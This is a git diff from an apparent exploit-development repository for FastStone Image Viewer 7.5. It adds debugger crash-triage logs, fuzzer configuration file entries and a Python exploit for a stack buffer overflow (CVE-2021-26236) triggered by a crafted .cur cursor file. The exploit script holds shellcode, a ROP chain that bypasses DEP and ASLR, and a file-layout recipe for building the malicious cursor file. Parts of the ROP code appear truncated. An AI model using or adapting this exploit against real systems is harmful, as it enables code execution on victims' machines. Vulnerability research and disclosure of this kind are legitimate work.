SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1610: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1610: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1610.1910): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=1101ffff ebx=00481c9c ecx=e807fcb6 edx=000005f0 esi=00481c9c edi=0fd20fd4 +eip=005bdf49 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac po cy +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210213 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.32715e-009 -1.87196e+016 1.71342e-016 1.22917e-010 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 1101ffff 0000f011 1111f100 1001ff0f image00000000_00400000+0x1bdf49 +0019f950 00000000 1111f100 1001ff0f 1101ffff 0x1101ffff + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1101ffff +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:3 +BASIC_BLOCK_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf4b cmp dword ptr [eax+558h],0 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf52 je image00000000_00400000+0x1bdf7e (005bdf7e) +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:ZeroFlag +MAJOR_HASH:0x7e5b5c0d +MINOR_HASH:0x7e2c470d +STACK_DEPTH:2 +STACK_FRAME:image00000000_00400000+0x1bdf49 +STACK_FRAME:Unknown +INSTRUCTION_ADDRESS:0x00000000005bdf49 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Data from Faulting Address controls Branch Selection +SHORT_DESCRIPTION:TaintedDataControlsBranchSelection +CLASSIFICATION:UNKNOWN +BUG_TITLE:Data from Faulting Address controls Branch Selection starting at image00000000_00400000+0x00000000001bdf49 (Hash=0x7e5b5c0d.0x7e2c470d) +EXPLANATION:The data from the faulting address is later used to determine whether or not a branch is taken. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..2a195d2 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/WindowsDebugEngine_description.txt @@ -0,0 +1,153 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1610: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1610: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1610.1910): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=1101ffff ebx=00481c9c ecx=e807fcb6 edx=000005f0 esi=00481c9c edi=0fd20fd4 +eip=005bdf49 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac po cy +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210213 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.32715e-009 -1.87196e+016 1.71342e-016 1.22917e-010 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 1101ffff 0000f011 1111f100 1001ff0f image00000000_00400000+0x1bdf49 +0019f950 00000000 1111f100 1001ff0f 1101ffff 0x1101ffff + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1101ffff +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:3 +BASIC_BLOCK_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf4b cmp dword ptr [eax+558h],0 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf52 je image00000000_00400000+0x1bdf7e (005bdf7e) +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:ZeroFlag +MAJOR_HASH:0x7e5b5c0d +MINOR_HASH:0x7e2c470d +STACK_DEPTH:2 +STACK_FRAME:image00000000_00400000+0x1bdf49 +STACK_FRAME:Unknown +INSTRUCTION_ADDRESS:0x00000000005bdf49 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Data from Faulting Address controls Branch Selection +SHORT_DESCRIPTION:TaintedDataControlsBranchSelection +CLASSIFICATION:UNKNOWN +BUG_TITLE:Data from Faulting Address controls Branch Selection starting at image00000000_00400000+0x00000000001bdf49 (Hash=0x7e5b5c0d.0x7e2c470d) +EXPLANATION:The data from the faulting address is later used to determine whether or not a branch is taken. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..61681f8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/FSViewerSetup75.exe b/windows/x86/local/FastStone_Image_Viewer_v.7.5/FSViewerSetup75.exe new file mode 100644 index 0000000..09445b1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/FSViewerSetup75.exe differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/FastStone Crash Video PoC.mp4 b/windows/x86/local/FastStone_Image_Viewer_v.7.5/FastStone Crash Video PoC.mp4 new file mode 100644 index 0000000..bae4338 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/FastStone Crash Video PoC.mp4 differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/FastStone_Image_Viewer_v.7.5.py b/windows/x86/local/FastStone_Image_Viewer_v.7.5/FastStone_Image_Viewer_v.7.5.py new file mode 100644 index 0000000..43a9bc1 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/FastStone_Image_Viewer_v.7.5.py @@ -0,0 +1,178 @@ +""" +Exploit title: FastStone Image Viewer (FSViewer.exe) v. <= 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass) +Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com +CVE: CVE-2021-26236 +Date: 15/03/2020 +Vendor Homepage: https://www.faststone.org/ +Download: https://www.faststonesoft.net/DN/FSViewerSetup75.exe + https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86/local/FastStone_Image_Viewer_v.7.5/ +Version: v.7.5 +Tested on: Windows 10 Pro x64 v.1909 Build 18363.1256 +Category: local exploit +Platform: windows +""" +# Module info : +#---------------------------------------------------------------------------------------------------------------------- +#Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path +#---------------------------------------------------------------------------------------------------------------------- +#0x00400000 | 0x00abf000 | 0x006bf000 | False | False | False | False | False | 7.5.0.0 [FSViewer.exe] (C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe) +#0x6ad80000 | 0x6adfe000 | 0x0007e000 | False | False | False | False | False | -1.0- [fsplugin05.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll) +#0x6afb0000 | 0x6b011000 | 0x00061000 | True | True | False | False | False | -1.0- [fsplugin06.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll) +#---------------------------------------------------------------------------------------------------------------------- + +#!/usr/bin/python +import struct, sys +print("\n[>] FastStone Image Viewer v. <= 7.5 Exploit by VoidSec\n") + +filename="FSViewer_v.7.5_exploit.cur" + +################################################################################### +# Shellcode +# MAX Shellcode size: 556 +# ImageData - ROP NOP - Rop Chain - Stack Adjustment = 776 - 144 - 68 - 8 = 556 +# Custom calc.exe shellcode +# size: 112 +################################################################################### + +shellcode=( + "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" + "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" + "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" + "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" + "\x57\x78\x01\xc2\x8b\x7a\x20\x01" + "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" + "\x45\x81\x3e\x43\x72\x65\x61\x75" + "\xf2\x81\x7e\x08\x6f\x63\x65\x73" + "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" + "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" + "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" + "\xb1\xff\x53\xe2\xfd\x68\x63\x61" + "\x6c\x63\x89\xe2\x52\x52\x53\x53" + "\x53\x53\x53\x53\x52\x53\xff\xd7" +) + + +if (len(shellcode)>556): + sys.exit("Shellcode's size must be <= 556 bytes") + +################################################################################### +# Cur File Format +# --------------------------------------------------------------------------------- +# | Reserved | Type | Image Count | +# | 00 00 | 02 00 | 02 00 | <- CUR file will contains two images +# Entries: +# | Width | Height | ColorCount | Reserved | XHotSpot | YHotSpot | SizeInBytes | File Offset | +# | 30 | 30 | 00 | 00 | 01 00 | 02 00 | 30 03 00 00 | 26 00 00 00 | <- we'll corrupt the first image with rop chain & shellcode +# | 20 | 20 | 00 | 00 | 02 00 | 04 00 | E8 02 00 00 | 56 03 00 00 | <- while leaving the 2nd one "untouched" a part from the stack pivot (should leave the cursor preview intact) +# 1st Image Info Header: +# | Size | Width | Height | Planes | BitCount | Compression | ImageSize | XpixelsPerM | YpixelsPerM | Colors Used | ColorsImportant | +# | 28 00 00 00 | 30 00 00 00 | 60 00 00 00 | 01 00 | 89 30 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | +# 1st ImageData(BLOB) +# 2nd Image Info Header: +# 2nd ImageData(BLOB) +# --------------------------------------------------------------------------------- +# BitCount will be used to read # number of bytes into a buffer triggering the buffer overflow +# its value can be modified but we need to account for two operations happening into the software. +# - SHL 1, 89 = 0x200 +# - SHL 200, 2 = 0x800 (2048d) number of bytes to be read from the file +# we'll have to pad the image data to match it's size in bytes defined in the header SizeInBytes +# ImageData = SizeInBytes - ImageInfoHeader Size (330h-28h=308h 776d) +################################################################################### + +image_data_pad = 776 + +def create_rop_nop(): + rop_gadgets = [ + 0x6adc5ab6, # 0x6adc5ab6 (RVA : 0x00045ab6) : # DEC ECX # RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ} + ] + return ''.join(struct.pack(' ebx + #[---INFO:gadgets_to_set_edx:---] + 0x004798db, # POP EDX ; RETN [FSViewer.exe] + 0x00000040, # 0x00000040-> edx + #[---INFO:gadgets_to_set_ecx:---] + 0x004c7832, # POP ECX ; RETN [FSViewer.exe] + 0x00991445, # &Writable location [FSViewer.exe] + #[---INFO:gadgets_to_set_edi:---] + 0x0040c3a8, # POP EDI ; RETN [FSViewer.exe] + 0x0057660b, # RETN (ROP NOP) [FSViewer.exe] + #[---INFO:gadgets_to_set_eax:---] + 0x00404243, # POP EAX ; RETN [FSViewer.exe] + 0x90909090, # nop + #[---INFO:pushad:---] + 0x6adc21bf, # PUSHAD # RETN [fsplugin05.dll] + ] + return ''.join(struct.pack(' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/PIT files/cur_smart.xml b/windows/x86/local/FastStone_Image_Viewer_v.7.5/PIT files/cur_smart.xml new file mode 100644 index 0000000..6d6bb79 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/PIT files/cur_smart.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file